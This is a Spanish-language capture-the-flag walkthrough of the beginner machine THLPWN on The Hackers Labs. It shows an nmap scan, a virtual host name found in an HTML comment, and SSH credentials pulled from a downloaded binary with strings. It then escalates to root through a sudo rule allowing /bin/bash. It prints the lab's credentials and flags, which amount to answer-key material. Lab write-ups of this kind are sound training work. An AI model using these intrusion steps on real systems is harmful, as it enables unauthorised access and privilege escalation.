THLPWN
Plataforma: The Hackers Labs
Dificultad: Principiante
🔗 Link de la máquina: https://labs.thehackerslabs.com

Reconocimiento
Realizamos un escaneo de puertos con Nmap para identificar los servicios activos en la máquina objetivo.
sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN thlpwn.txt 192.168.100.6
Starting Nmap 7.98 ( https://nmap.org ) at 2025-11-20 19:26 -0300
Nmap scan report for 192.168.100.6
Host is up (0.00060s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
|_ 256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
80/tcp open http nginx 1.22.1
|_http-title: 403 Forbidden
|_http-server-header: nginx/1.22.1
MAC Address: 08:00:27:00:A5:81 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.55 seconds
Detalles del comando:
-p-: Escaneo de todos los puertos.--open: Muestra solo puertos abiertos.-sS: Escaneo SYN para determinar el estado de los puertos.-sCV: Usa scripts por defecto y detectar versiones de servicios.--min-rate 5000: Establece un ritmo mínimo de escaneo.-n: Desactiva la resolución DNS.-Pn: Omite la detección de hosts activos.-oN thlpwn.txt: Guarda los resultados en el archivo “thlpwn.txt”.
Puertos descubiertos:
- 22/tcp - SSH (OpenSSH 9.2p1)
- 80/tcp - HTTP (nginx 1.22.1) — título: “403 Forbidden”
Exploración Web
Al acceder a http://192.168.100.6/ nos encontramos con un 403 Forbidden. Sin embargo, la página no es un error genérico de nginx — tiene contenido personalizado con una pista explícita:

“This server uses virtual hosting. You need to discover the correct hostname.”
La página nos indica que el servidor usa virtual hosting y debemos encontrar el hostname correcto para acceder al contenido real.
Descubrimiento del Hostname
Inspeccionamos el código fuente de la página 403. Entre los estilos CSS encontramos un comentario oculto:
<!--thlpwn.thl-->
El hostname está embebido como comentario HTML dentro del bloque de estilos. Añadimos la entrada al archivo /etc/hosts:
echo "192.168.100.6 thlpwn.thl" | sudo tee -a /etc/hosts
Acceso al Sitio Web
Con el hostname configurado, accedemos a http://thlpwn.thl/:

La página muestra una plataforma “THLPWN - Secure Platform for Advanced Users” con un formulario y varios enlaces en el pie: Admin Panel, API Documentation, Downloads, Backups y Uploads.
Análisis de la Sección Downloads
Navegamos a http://thlpwn.thl/downloads/:

La sección expone un binario ELF llamado auth_checker (16588 bytes), descrito como una “Authentication tool with known security issues”. La propia página nos da pistas sobre cómo analizarlo y nos indica que al explotarlo correctamente revelará credenciales SSH. Lo descargamos:
wget http://thlpwn.thl/downloads/auth_checker
Análisis del Binario
Analizamos el binario con strings para extraer cadenas de texto legibles:
strings auth_checker
Entre la salida encontramos las credenciales SSH hardcodeadas en el binario:
THLPWN Authentication Checker
Version 1.0 - Secure System
VULNERABILITY EXPLOITED SUCCESSFULLY!
SSH Access Credentials:
========================
Username: thluser
Password: 9Kx7mP2wQ5nL8vT4bR6zY
Connect with:
ssh thluser@xxx.xxx.xxx.xxx
First Flag Location:
cat ~/flag.txt
Credenciales obtenidas:
- Usuario:
thluser - Contraseña:
9Kx7mP2wQ5nL8vT4bR6zY
Acceso Inicial
Con las credenciales extraídas del binario, nos conectamos por SSH:
ssh thluser@192.168.100.6

Acceso obtenido como thluser. Leemos la flag de usuario:
cat flag.txt
THL{3x7K9mL2pQ8vW5nR4zT6yH}

Escalada de Privilegios
Enumeración sudo
Verificamos los permisos sudo del usuario thluser:
sudo -l
Matching Defaults entries for thluser on thlpwn:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User thluser may run the following commands on thlpwn:
(ALL) NOPASSWD: /bin/bash

El usuario puede ejecutar /bin/bash como root sin contraseña. Ejecutamos:
sudo /bin/bash
# id
uid=0(root) gid=0(root) groups=0(root)

Leemos la flag de root:
cat /root/root.txt
THL{9sT2mK7xQ5pL3wV8nZ6bR4}

¡Root conseguido!
Hemos completado exitosamente la máquina THLPWN de The Hackers Labs.